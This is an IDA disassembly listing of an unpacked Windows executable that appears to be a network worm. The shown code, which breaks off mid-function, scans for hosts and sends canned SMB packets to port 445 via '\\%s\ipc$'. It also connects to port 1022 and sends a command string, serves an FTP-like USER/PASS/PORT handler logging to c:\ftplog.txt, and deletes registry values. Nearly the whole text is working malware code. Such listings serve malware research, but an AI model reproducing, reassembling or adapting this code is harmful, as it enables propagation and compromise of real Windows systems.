;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 159C856AD49812762CE088F47A227B5A
; File Name : u:\work\159c856ad49812762ce088f47a227b5a_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00007000 ( 28672.)
; Section size in file : 00007000 ( 28672.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; CODE XREF: sub_40126C+7Cp
; sub_401F4B:loc_401FC9p ...
mov eax, ds:dword_4070C0
imul eax, 343FDh
add eax, 279EC3h
mov ds:dword_4070C0, eax
shr eax, 10h
and eax, 7FFFh
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_40101E proc near ; CODE XREF: sub_4020D9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_4070C0, eax
retn
sub_40101E endp
; =============== S U B R O U T I N E =======================================
sub_401028 proc near ; CODE XREF: sub_4020D9+11p
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call ds:dword_405104 ; WSAStartup
add esp, 190h
retn
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call ds:dword_405134 ; inet_addr
movsx ecx, al
mov [ebp+arg_0], eax
movsx edx, byte ptr [ebp+arg_0+2]
movsx esi, byte ptr [ebp+arg_0+3]
movsx edi, ah
test ecx, ecx
mov eax, 100h
jge short loc_40106F
add ecx, eax
loc_40106F: ; CODE XREF: sub_401045+26j
test edi, edi
jge short loc_401075
add edi, eax
loc_401075: ; CODE XREF: sub_401045+2Cj
test edx, edx
jge short loc_40107B
add edx, eax
loc_40107B: ; CODE XREF: sub_401045+32j
test esi, esi
jge short loc_401081
add esi, eax
loc_401081: ; CODE XREF: sub_401045+38j
push 1
cmp ecx, 7Fh
pop eax
jnz short loc_401095
test edi, edi
jnz short loc_4010CE
test edx, edx
jnz short loc_4010CE
cmp esi, eax
jz short loc_4010CC
loc_401095: ; CODE XREF: sub_401045+42j
cmp ecx, 0Ah
jz short loc_4010CC
cmp ecx, 0ACh
jnz short loc_4010AC
cmp edi, 0Fh
jle short loc_4010CE
cmp edi, 20h
jl short loc_4010CC
loc_4010AC: ; CODE XREF: sub_401045+5Bj
cmp ecx, 0C0h
jnz short loc_4010BC
cmp edi, 0A8h
jz short loc_4010CC
loc_4010BC: ; CODE XREF: sub_401045+6Dj
cmp ecx, 0A9h
jnz short loc_4010CE
cmp edi, 0FEh
jnz short loc_4010CE
loc_4010CC: ; CODE XREF: sub_401045+4Ej
; sub_401045+53j ...
xor al, al
loc_4010CE: ; CODE XREF: sub_401045+46j
; sub_401045+4Aj ...
pop edi
pop esi
pop ebp
retn
sub_401045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010D2 proc near ; CODE XREF: sub_40126C+9Cp
; sub_401F4B+3Ep
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
lea eax, [ebp+var_100]
push 0FFh
push eax
call ds:dword_40512C ; gethostname
test eax, eax
jnz short loc_401136
lea eax, [ebp+var_100]
push eax
call ds:dword_405138 ; gethostbyname
mov edi, eax
xor esi, esi
cmp edi, esi
jz short loc_401136
mov eax, [edi+0Ch]
cmp [eax], esi
jz short loc_401136
loc_401110: ; CODE XREF: sub_4010D2+60j
mov eax, [esi+eax]
push dword ptr [eax]
call ds:dword_405130 ; inet_ntoa
mov ebx, eax
push ebx
call sub_401045
test al, al
pop ecx
jnz short loc_40113D
mov eax, [edi+0Ch]
add esi, 4
cmp dword ptr [esi+eax], 0
jnz short loc_401110
jmp short loc_401139
; ---------------------------------------------------------------------------
loc_401136: ; CODE XREF: sub_4010D2+20j
; sub_4010D2+35j ...
mov ebx, [ebp+arg_0]
loc_401139: ; CODE XREF: sub_4010D2+62j
test ebx, ebx
jz short loc_401140
loc_40113D: ; CODE XREF: sub_4010D2+54j
push ebx
jmp short loc_401145
; ---------------------------------------------------------------------------
loc_401140: ; CODE XREF: sub_4010D2+69j
push offset a127_0_0_1 ; "127.0.0.1"
loc_401145: ; CODE XREF: sub_4010D2+6Cj
push [ebp+arg_0]
call ds:dword_405018 ; lstrcpy
pop edi
pop esi
pop ebx
leave
retn
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401153 proc near ; CODE XREF: sub_401F4B+137p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_4022A0
add esp, 0Ch
mov [ebp+var_10], 2
push 1BDh
call ds:dword_40511C ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4011D5
mov [ebp+var_C], eax
push 8
lea eax, [ebp+var_8]
push 0
push eax
call sub_4022A0
add esp, 10h
push 6
push 1
pop ebx
push ebx
push 2
call ds:dword_405120 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4011B4
xor al, al
jmp short loc_4011D1
; ---------------------------------------------------------------------------
loc_4011B4: ; CODE XREF: sub_401153+5Bj
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_405124 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4011C8
xor bl, bl
loc_4011C8: ; CODE XREF: sub_401153+71j
push esi
call ds:dword_405128 ; closesocket
mov al, bl
loc_4011D1: ; CODE XREF: sub_401153+5Fj
pop esi
pop ebx
leave
retn
sub_401153 endp
; =============== S U B R O U T I N E =======================================
sub_4011D5 proc near ; CODE XREF: sub_401153+30p
; sub_40126C+34p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
call ds:dword_405134 ; inet_addr
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4011F2
test esi, esi
jnz short loc_401204
cmp byte ptr [edi], 30h
jz short loc_40120B
loc_4011F2: ; CODE XREF: sub_4011D5+12j
push edi
call ds:dword_405138 ; gethostbyname
test eax, eax
jz short loc_401204
mov eax, [eax+0Ch]
mov eax, [eax]
mov esi, [eax]
loc_401204: ; CODE XREF: sub_4011D5+16j
; sub_4011D5+26j
cmp esi, 0FFFFFFFFh
jnz short loc_40120B
xor esi, esi
loc_40120B: ; CODE XREF: sub_4011D5+1Bj
; sub_4011D5+32j
mov eax, esi
pop edi
pop esi
retn
sub_4011D5 endp
; =============== S U B R O U T I N E =======================================
sub_401210 proc near ; CODE XREF: sub_401B59+2B5p
arg_0 = dword ptr 4
inc ds:dword_4070C4
push esi
push 0
push offset aCFtplog_txt ; "c:\\ftplog.txt"
call ds:dword_405028 ; _lcreat
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40126A
push ebx
push edi
push 2
push 0
push esi
call ds:dword_405024 ; _llseek
push [esp+0Ch+arg_0]
call sub_402300
mov edi, ds:dword_405020
pop ecx
push eax
push [esp+10h+arg_0]
push esi
call edi ; _hwrite
mov ebx, offset asc_406A0C ; "\r\n"
push ebx
call sub_402300
pop ecx
push eax
push ebx
push esi
call edi ; _hwrite
push esi
call ds:dword_40501C ; _lclose
pop edi
pop ebx
loc_40126A: ; CODE XREF: sub_401210+19j
pop esi
retn
sub_401210 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40126C proc near ; CODE XREF: sub_401A69+7Bp
var_33C = byte ptr -33Ch
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 33Ch
push ebx
push edi
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_4022A0
add esp, 0Ch
mov [ebp+var_10], 2
push 3FEh
call ds:dword_40511C ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4011D5
mov [ebp+var_C], eax
push 8
lea eax, [ebp+var_8]
push ebx
push eax
call sub_4022A0
add esp, 10h
push 6
push 1
push 2
call ds:dword_405120 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4012D1
xor al, al
jmp loc_401379
; ---------------------------------------------------------------------------
loc_4012D1: ; CODE XREF: sub_40126C+5Cj
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_405124 ; connect
cmp eax, 0FFFFFFFFh
jz loc_401370
push esi
call sub_401000
mov esi, eax
lea eax, [ebp+var_110]
push offset dword_4070C8
push eax
call ds:dword_405018 ; lstrcpy
lea eax, [ebp+var_110]
push eax
call sub_4010D2
push esi
lea eax, [ebp+var_110]
push esi
push eax
push ds:off_406030
lea eax, [ebp+var_33C]
push eax
call ds:dword_4050F0 ; wsprintfA
lea eax, [ebp+var_33C]
xor esi, esi
push eax
call sub_402300
add esp, 1Ch
test eax, eax
jbe short loc_401362
loc_40133E: ; CODE XREF: sub_40126C+F4j
push ebx
lea eax, [ebp+esi+var_33C]
push 1
push eax
push edi
call ds:dword_405118 ; send
lea eax, [ebp+var_33C]
inc esi
push eax
call sub_402300
cmp esi, eax
pop ecx
jb short loc_40133E
loc_401362: ; CODE XREF: sub_40126C+D0j
push 3E8h
call ds:dword_40502C ; Sleep
mov bl, 1
pop esi
loc_401370: ; CODE XREF: sub_40126C+75j
push edi
call ds:dword_405128 ; closesocket
mov al, bl
loc_401379: ; CODE XREF: sub_40126C+60j
pop edi
pop ebx
leave
retn
sub_40126C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40137D proc near ; CODE XREF: sub_401A69+15p
var_744 = byte ptr -744h
var_714 = byte ptr -714h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 744h
push ebx
push esi
push edi
push offset dword_4070C8
push [ebp+arg_4]
call ds:dword_405018 ; lstrcpy
push [ebp+arg_0]
lea eax, [ebp+var_3C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call ds:dword_4050F0 ; wsprintfA
add esp, 0Ch
xor edi, edi
xor ecx, ecx
lea eax, [ebp+var_103]
loc_4013B6: ; CODE XREF: sub_40137D+49j
mov dl, [ebp+ecx+var_3C]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4013B6
push 60h
lea eax, [ebp+var_B4]
push offset dword_4063E4
push eax
call sub_402380
lea eax, [ebp+var_3C]
push eax
call sub_402300
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_402380
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC+3)
push eax
call sub_402300
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_402380
lea eax, [ebp+var_3C]
push eax
call sub_402300
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_402380
lea eax, [ebp+var_3C]
push eax
call sub_402300
shl al, 1
add al, 9
push 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_87]
push eax
call sub_402380
add esp, 2Ch
push [ebp+arg_0]
call ds:dword_405138 ; gethostbyname
mov ebx, eax
cmp ebx, edi
jz loc_401539
push edi
push 1
push 2
call ds:dword_405120 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_401539
push 1BDh
loc_401493: ; DATA XREF: .text:off_4065D8o
mov [ebp+var_14], 2
call ds:dword_40511C ; htons
mov [ebp+var_12], ax
mov eax, [ebx+0Ch]
push 8
push edi
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_C]
push eax
call sub_4022A0
add esp, 0Ch
lea eax, [ebp+var_14]
push 10h
push eax
push esi
call ds:dword_405124 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_401539
mov ebx, ds:dword_405118
push edi
push 89h
push offset dword_4061CC
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_401539
push edi
mov edi, 640h
lea eax, [ebp+var_744]
push edi
push eax
push esi
mov esi, ds:dword_405114
call esi ; recv
push 0
push 0A8h
push offset dword_406258
push [ebp+arg_0]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_401539
push 0
lea eax, [ebp+var_744]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
push 0
push 0DEh
push offset dword_406304
push [ebp+arg_0]
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40153D
loc_401539: ; CODE XREF: sub_40137D+F2j
; sub_40137D+10Bj ...
xor eax, eax
jmp short loc_40157E
; ---------------------------------------------------------------------------
loc_40153D: ; CODE XREF: sub_40137D+1BAj
push 0
lea eax, [ebp+var_744]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
push 46h
lea esi, [ebp+var_714]
pop edi
loc_401555: ; CODE XREF: sub_40137D+1F3j
movsx eax, byte ptr [esi]
push eax
push [ebp+arg_4]
push offset aSC ; "%s%c"
push [ebp+arg_4]
call ds:dword_4050F0 ; wsprintfA
add esp, 10h
inc esi
inc esi
dec edi
jnz short loc_401555
push [ebp+arg_0]
call ds:dword_405128 ; closesocket
push 1
pop eax
loc_40157E: ; CODE XREF: sub_40137D+1BEj
pop edi
pop esi
pop ebx
leave
retn
sub_40137D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401583 proc near ; CODE XREF: sub_401A69+3Bp
; sub_401A69+5Ep ...
var_89C4 = byte ptr -89C4h
var_895C = byte ptr -895Ch
var_68EC = byte ptr -68ECh
var_687C = byte ptr -687Ch
var_5DB8 = byte ptr -5DB8h
var_4814 = byte ptr -4814h
var_4813 = byte ptr -4813h
var_3780 = byte ptr -3780h
var_2CBC = byte ptr -2CBCh
var_2CBB = byte ptr -2CBBh
var_2CB8 = byte ptr -2CB8h
var_24D4 = byte ptr -24D4h
var_24C4 = byte ptr -24C4h
var_21A0 = byte ptr -21A0h
var_219C = byte ptr -219Ch
var_2190 = byte ptr -2190h
var_1F08 = byte ptr -1F08h
var_1E8C = byte ptr -1E8Ch
var_16BC = byte ptr -16BCh
var_1211 = byte ptr -1211h
var_F24 = byte ptr -0F24h
var_E84 = byte ptr -0E84h
var_778 = dword ptr -778h
var_768 = byte ptr -768h
var_754 = byte ptr -754h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
var_C4 = byte ptr -0C4h
var_C1 = byte ptr -0C1h
var_97 = byte ptr -97h
var_95 = byte ptr -95h
var_94 = byte ptr -94h
var_4C = byte ptr -4Ch
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 89C4h
call sub_4026C0
mov eax, ds:dword_406A3C
push [ebp+arg_0]
mov [ebp+var_14], eax
mov eax, ds:dword_406A40
mov [ebp+var_10], eax
lea eax, [ebp+var_4C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call ds:dword_4050F0 ; wsprintfA
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_113]
loc_4015BD: ; CODE XREF: sub_401583+4Aj
mov dl, [ebp+ecx+var_4C]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4015BD
push ebx
push esi
push edi
push 60h
lea eax, [ebp+var_C4]
push offset dword_4063E4
push eax
call sub_402380
lea eax, [ebp+var_4C]
push eax
call sub_402300
shl eax, 1
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_94]
push eax
call sub_402380
add esp, 1Ch
lea eax, [ebp+var_4C]
push 9
push (offset aC+3)
push eax
call sub_402300
pop ecx
lea eax, [ebp+eax*2+var_95]
push eax
call sub_402380
lea eax, [ebp+var_4C]
push eax
call sub_402300
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_5], al
lea eax, [ebp+var_5]
push eax
lea eax, [ebp+var_C1]
push eax
call sub_402380
lea eax, [ebp+var_4C]
push eax
call sub_402300
shl al, 1
add al, 9
push 1
mov [ebp+var_6], al
lea eax, [ebp+var_6]
push eax
lea eax, [ebp+var_97]
push eax
call sub_402380
add esp, 2Ch
push 3FEh
call ds:dword_40511C ; htons
xor eax, 9999h
push 2
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
push offset dword_4060E4
call sub_402380
mov ebx, [ebp+arg_4]
add esp, 0Ch
cmp ebx, 1
jz short loc_4016FF
cmp ebx, 2
jz short loc_4016FF
push 7D0h
lea eax, [ebp+var_F24]
push 90h
push eax
call sub_4022A0
mov esi, offset loc_406034
push esi
call sub_402300
push eax
lea eax, [ebp+var_E84]
push esi
push eax
call sub_402380
lea eax, [ebp+var_14]
push eax
call sub_402300
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_768]
push eax
call sub_402380
add esp, 2Ch
imul ebx, 3Ch
mov eax, ds:dword_406810[ebx]
mov [ebp+var_778], eax
jmp loc_4017D3
; ---------------------------------------------------------------------------
loc_4016FF: ; CODE XREF: sub_401583+115j
; sub_401583+11Aj
mov edi, 0DACh
lea eax, [ebp+var_2CB8]
push edi
push 90h
push eax
call sub_4022A0
imul ebx, 3Ch
push 4
lea eax, [ebp+var_24D4]
lea ebx, dword_406810[ebx]
push ebx
push eax
call sub_402380
mov esi, offset loc_406034
push esi
call sub_402300
push eax
lea eax, [ebp+var_24C4]
push esi
push eax
call sub_402380
push 4
lea eax, [ebp+var_21A0]
push offset dword_406A34
push eax
call sub_402380
push 4
lea eax, [ebp+var_219C]
push ebx
push eax
call sub_402380
add esp, 40h
push esi
call sub_402300
push eax
lea eax, [ebp+var_2190]
push esi
push eax
call sub_402380
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_4813]
loc_40178B: ; CODE XREF: sub_401583+21Aj
mov dl, [ebp+ecx+var_2CB8]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_40178B
and [ebp+var_2CBC], 0
and [ebp+var_2CBB], 0
mov esi, 1C52h
lea eax, [ebp+var_89C4]
push esi
push 31h
push eax
call sub_4022A0
push esi
lea eax, [ebp+var_68EC]
push 31h
push eax
call sub_4022A0
add esp, 18h
loc_4017D3: ; CODE XREF: sub_401583+177j
push 0
push 1
push 2
call ds:dword_405120 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_401A62
push 1BDh
mov [ebp+var_24], 2
call ds:dword_40511C ; htons
push [ebp+arg_0]
mov [ebp+var_22], ax
call sub_4011D5
mov [ebp+var_20], eax
xor ebx, ebx
push 8
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_4022A0
add esp, 10h
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call ds:dword_405124 ; connect
cmp eax, 0FFFFFFFFh
jz loc_401A62
mov esi, ds:dword_405118
push ebx
push 89h
push offset dword_4061CC
push edi
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push ebx
mov ebx, 640h
lea eax, [ebp+var_754]
push ebx
push eax
push edi
mov edi, ds:dword_405114
call edi ; recv
push 0
push 0A8h
push offset dword_406258
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0DEh
push offset dword_406304
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
movsx eax, [ebp+var_5]
add eax, 4
push 0
push eax
lea eax, [ebp+var_C4]
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 68h
push offset dword_406448
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0A0h
push offset dword_4064B4
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
cmp [ebp+arg_4], 1
jz short loc_4019A0
cmp [ebp+arg_4], 2
jz short loc_4019A0
push 7Ch
lea eax, [ebp+var_1F08]
push offset dword_406558
push eax
call sub_402380
lea eax, [ebp+var_F24]
push 7D0h
push eax
lea eax, [ebp+var_1E8C]
push eax
call sub_402380
push 90h
lea eax, [ebp+var_16BC]
push offset off_4065D8
push eax
call sub_402380
add esp, 24h
and [ebp+var_1211], 0
lea eax, [ebp+var_1F08]
push 0
push 0CF8h
jmp loc_401A43
; ---------------------------------------------------------------------------
loc_4019A0: ; CODE XREF: sub_401583+3B8j
; sub_401583+3BEj
push 68h
lea eax, [ebp+var_89C4]
push offset dword_40666C
push eax
call sub_402380
lea eax, [ebp+var_4814]
push 1B5Ah
push eax
lea eax, [ebp+var_895C]
push eax
call sub_402380
push 70h
lea eax, [ebp+var_68EC]
push offset dword_4066D8
push eax
call sub_402380
lea eax, [ebp+var_3780]
push 0A5Eh
push eax
lea eax, [ebp+var_687C]
push eax
call sub_402380
push 84h
lea eax, [ebp+var_5DB8]
push offset dword_40674C
push eax
call sub_402380
add esp, 3Ch
lea eax, [ebp+var_89C4]
push 0
push 10FCh
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_401A62
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68EC]
loc_401A43: ; CODE XREF: sub_401583+418j
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_401A62
push 3E8h
call ds:dword_40502C ; Sleep
push [ebp+var_4]
call ds:dword_405128 ; closesocket
loc_401A62: ; CODE XREF: sub_401583+264j
; sub_401583+2ABj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_401583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A69 proc near ; CODE XREF: sub_4020D9+27p
var_84 = byte ptr -84h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 84h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_84]
push eax
push esi
call sub_40137D
pop ecx
cmp eax, 1
pop ecx
jnz short loc_401AEA
lea eax, [ebp+var_84]
push offset dword_406A48
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz short loc_401AAD
push 0
push esi
call sub_401583
push 0
jmp short loc_401ADA
; ---------------------------------------------------------------------------
loc_401AAD: ; CODE XREF: sub_401A69+36j
lea eax, [ebp+var_84]
push offset dword_406A44
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz short loc_401AD0
push 1
push esi
call sub_401583
push 1
jmp short loc_401ADA
; ---------------------------------------------------------------------------
loc_401AD0: ; CODE XREF: sub_401A69+59j
push 2
push esi
call sub_401583
push 2
loc_401ADA: ; CODE XREF: sub_401A69+42j
; sub_401A69+65j
push esi
call sub_401583
add esp, 10h
push esi
call sub_40126C
pop ecx
loc_401AEA: ; CODE XREF: sub_401A69+1Fj
pop esi
leave
retn
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401AED proc near ; CODE XREF: sub_40219B+DAp
; sub_40219B+E6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
lea eax, [ebp+arg_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_40500C ; RegOpenKeyA
test eax, eax
jnz short loc_401B19
push [ebp+arg_8]
push [ebp+arg_4]
call ds:dword_405010 ; RegDeleteValueA
push [ebp+arg_4]
call ds:dword_405000 ; RegCloseKey
loc_401B19: ; CODE XREF: sub_401AED+15j
pop ebp
retn
sub_401AED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B1B proc near ; CODE XREF: sub_401F4B+126p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push esi
call sub_404DA2 ; IcmpCreateFile
push [ebp+arg_4]
mov esi, eax
lea eax, [ebp+var_24]
or [ebp+var_1C], 0FFFFFFFFh
push 24h
push eax
xor eax, eax
push eax
push eax
push eax
push [ebp+arg_0]
push esi
call sub_404D9C ; IcmpSendEcho
test eax, eax
jnz short loc_401B4D
or eax, 0FFFFFFFFh
jmp short loc_401B56
; ---------------------------------------------------------------------------
loc_401B4D: ; CODE XREF: sub_401B1B+2Bj
push esi
call sub_404D96 ; IcmpCloseHandle
mov eax, [ebp+var_1C]
loc_401B56: ; CODE XREF: sub_401B1B+30j
pop esi
leave
retn
sub_401B1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B59 proc near ; DATA XREF: sub_401EC0+74o
var_8E4 = byte ptr -8E4h
var_4E4 = byte ptr -4E4h
var_4E0 = byte ptr -4E0h
var_E4 = byte ptr -0E4h
var_60 = byte ptr -60h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8E4h
push ebx
mov ebx, [ebp+arg_0]
cmp ebx, 0FFFFFFFFh
jz loc_401E84
push esi
push edi
push 0
push ds:off_4068D0
call sub_402300
mov esi, ds:dword_405118
pop ecx
push eax
push ds:off_4068D0
push ebx
call esi ; send
mov edi, [ebp+arg_0]
jmp short loc_401B97
; ---------------------------------------------------------------------------
loc_401B94: ; CODE XREF: sub_401B59+31Aj
mov ebx, [ebp+arg_0]
loc_401B97: ; CODE XREF: sub_401B59+39j
push 0
lea eax, [ebp+var_4E4]
push 400h
push eax
push ebx
call ds:dword_405114 ; recv
and [ebp+eax+var_4E4], 0
mov [ebp+var_10], eax
lea eax, [ebp+var_4E4]
push offset aUser ; "USER"
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz short loc_401BE8
push 0
push ds:off_4068D4
call sub_402300
pop ecx
push eax
push ds:off_4068D4
jmp loc_401E6C
; ---------------------------------------------------------------------------
loc_401BE8: ; CODE XREF: sub_401B59+73j
lea eax, [ebp+var_4E4]
push offset aPass ; "PASS"
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz short loc_401C19
push 0
push ds:off_4068D8
call sub_402300
pop ecx
push eax
push ds:off_4068D8
jmp loc_401E6C
; ---------------------------------------------------------------------------
loc_401C19: ; CODE XREF: sub_401B59+A4j
lea eax, [ebp+var_4E4]
push offset aPort ; "PORT"
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz loc_401CF5
lea eax, [ebp+var_4E0]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_402810
mov ax, ds:word_406A68
mov [ebp+var_4], ax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_402770
add esp, 10h
mov ebx, eax
xor edi, edi
loc_401C68: ; CODE XREF: sub_401B59+159j
test ebx, ebx
jz short loc_401C9C
cmp edi, 4
jge short loc_401C7F
push ebx
call sub_401E8B
pop ecx
mov [ebp+edi*4+var_38], eax
cmp edi, 4
loc_401C7F: ; CODE XREF: sub_401B59+116j
jnz short loc_401C8B
push ebx
call sub_401E8B
pop ecx
mov [ebp+var_18], eax
